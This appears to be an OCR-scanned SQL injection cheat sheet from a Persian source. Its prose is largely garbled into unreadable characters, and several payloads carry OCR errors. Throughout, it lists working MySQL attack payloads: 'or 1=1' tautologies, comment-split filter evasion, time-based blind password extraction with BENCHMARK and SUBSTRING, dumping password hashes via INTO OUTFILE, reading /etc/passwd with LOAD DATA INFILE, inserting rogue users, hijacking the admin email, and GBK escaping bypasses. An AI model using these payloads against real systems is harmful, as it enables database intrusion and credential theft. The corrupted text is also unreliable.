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:sql cheat Sheet -
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Cole, 7909 9 (SO dwd _orw Ol ygiwd (il (> pb 13 ¢ 0l aud Cund LOCAI HOSE (69, 9 9 00w & yb oo
 023,5 S My Sqll (sl asens 151 (59, (icmod 9 3900

Wl ) paplgd Lo Y & Lo gl JL] 3 1y s (ol (Sl 59, 42 digS' 2
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dawi ddes MY SOl (g1 ol 33 bol cin )5 Cund 33 Oracle LSQl Server ;5 wilgue sasd 5 555 Jod pd &5 (63,190

lose aw G 1, My SOl 33 Ll 35,15 Como g il o G g

L ool Jgeo!

SELECT * FROM login /* foobar */
SELECT * FROM login WHERE id = 1 or 1=1
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"

L Ol ygiwd g L puiio dy (ol (43,5,

SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1
SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%"

SHOW TABLES
SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES

SELECT VERSION
SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION()

SELECT host,user,db from mysqgl.db
SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db;
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SELECT 1 &&. 1;
SELECT 1| 1;
SELECT 1 XOR 0;

all render TRUE or 1.
SELECT 0.1 <= 2;
SELECT 2 >=2;
SELECT ISNULL(1/0);

by
SELECT FLOOR(7 + (RAND() * 5));
SELECT ROUND(23.298, -1);

s

SELECT LENGTH(COMPRESS(REPEAT (‘a',1000)));
SELECT MD5(‘abc');

Benchmark
SELECT BENCHMARK(10000000,ENCODE(‘abc','123"));
(5 pSa0 €8y Curla J9) 45 4l O dgus ,501)

SELECT BENCHMARK (1000000,MD5(CHAR(L16)))
(500 €8y Cusld J'g) 5 4l ¥ 390 1)

SELECT BENCHMARK(10000000,MD5(CHAR(116)))
(380 89 Cansld Jg) 45 Al Vo dgus ,I050)

L 5,15 3959 (659,15 cywicmod LT 4SSyl 43,8 S (61 gl w31 03\
SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x" )),NULL) FROM login

otdl salgd I8 510 saws g Lo 45 5900 wwiS 3L 51y B poeo dlani (51 90 sl Cblgo
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SELECT COUNT(*) FROM tablename

Luald (435 w0

SELECT * FROM tablename WHERE user LIKE "%root%"

SELECT * FROM tablename WHERE user LIKE "%"

SELECT * FROM tablename WHERE user = 'root' AND id IS NOT NULL;
SELECT * FROM tablename WHERE user = 'x' AND id 1S NULL;

Olpy o355 e

SELECT * FROM tablename WHERE email = 'user@site.com';
SELECT * FROM tablename WHERE user LIKE "%root%"
SELECT * FROM tablename WHERE user = ‘username’

L J) g8 ! A8 iy (W 00

Ly ;> Sleb] iy
SELECT password FROM tablename WHERE username = ‘root' INTO OUTFILE
'/path/location/on/server/www/passes.txt'

Jod J& ST 3 o5liw! e L8 5 ileMb! pndes (Without single quotes): (Jts)

SELECT password FROM tablename WHERE username =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
INTO OUTFILE
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))

83525 39590 Jud 31 118 51 e S5 (9315 g S Sl e B S Cns b bowd (g ol y0 1 ST

EREY

CHAR() Jo8 Ji5 cyos a6
SELECT * FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))

SELECT * FROM login WHERE user = CHAR(39,97,39)
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SELECT user FROM login WHERE user = 'root'
UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97), BENCHMARK(1000000,MD5('x")),null)
FROM login

2 gl g Sl JS1STY GSlas i, (ASCH 97). swidiso 2 oS g, 325 359w 51,8 cdel b))
3 ol CHARQL T, g2 9 (i ool Comalino lowd (5 51,8

g 8313 83l CigS S oS 3,15 Kol Wi ] Sl s 43

LS €3 5 Jlo

SELECT user FROM login WHERE user = ‘admin’
UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97), BENCHMARK(1000000,MD5('x")),null)
FROM login

SELECT user FROM login WHERE user = ‘admin’
UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97),
BENCHMARK (1000000,MD5('x")),null) FROM login

where: (passwordfield,startcharacter selectlength)

is like: (password,1,2) this selects: ‘ab’
is like: (password,1,3) this selects: ‘abc'
is like: (password,1,4) this selects: ‘abcd’

S G Jhe S

SELECT user FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97),

BENCHMARK (1000000,MD5(CHAR(59))),null) FROM login

OSweo (g ST,
0to9-ASCIl 48 to 57 ~ato z - ASCII 97 to 122




SEYL! b 4 s )5 Sy 33958
INSERT INTO login SET user = 'r00t', pass = 'abc'

Wi w5 S5 0903 319 9 Wl S 1490 40 (o] (35 41,8 o /etc/passwd b 3L,
load data infile "/etc/passwd"” INTO table login (profiletext, @varl) SET user = 'r00t', pass =
‘abc’

139959 s

TMP ,>db user wuies:
SELECT host,user,password FROM user into outfile ‘/tmp/passwd’;

Lol o3l 93 9 (03,5 (9ol 8 o2 Iy @MIN €-Mail s
UPDATE users set email = 'mymail@site.com' WHERE email = ‘admin@site.com';

L2 & s (WSS pilgs 255 3,

GBK encodingL addslashes() 3,5 3,
WHERE x = 0xbf27admin 0xbf27

GBKU BIG5 Lmysql real escape string(), 3,5 3,
“injection string" |=B8 Y % BNNTF#R :

J8 awmy sgl 4.1.x
0 9FN Y
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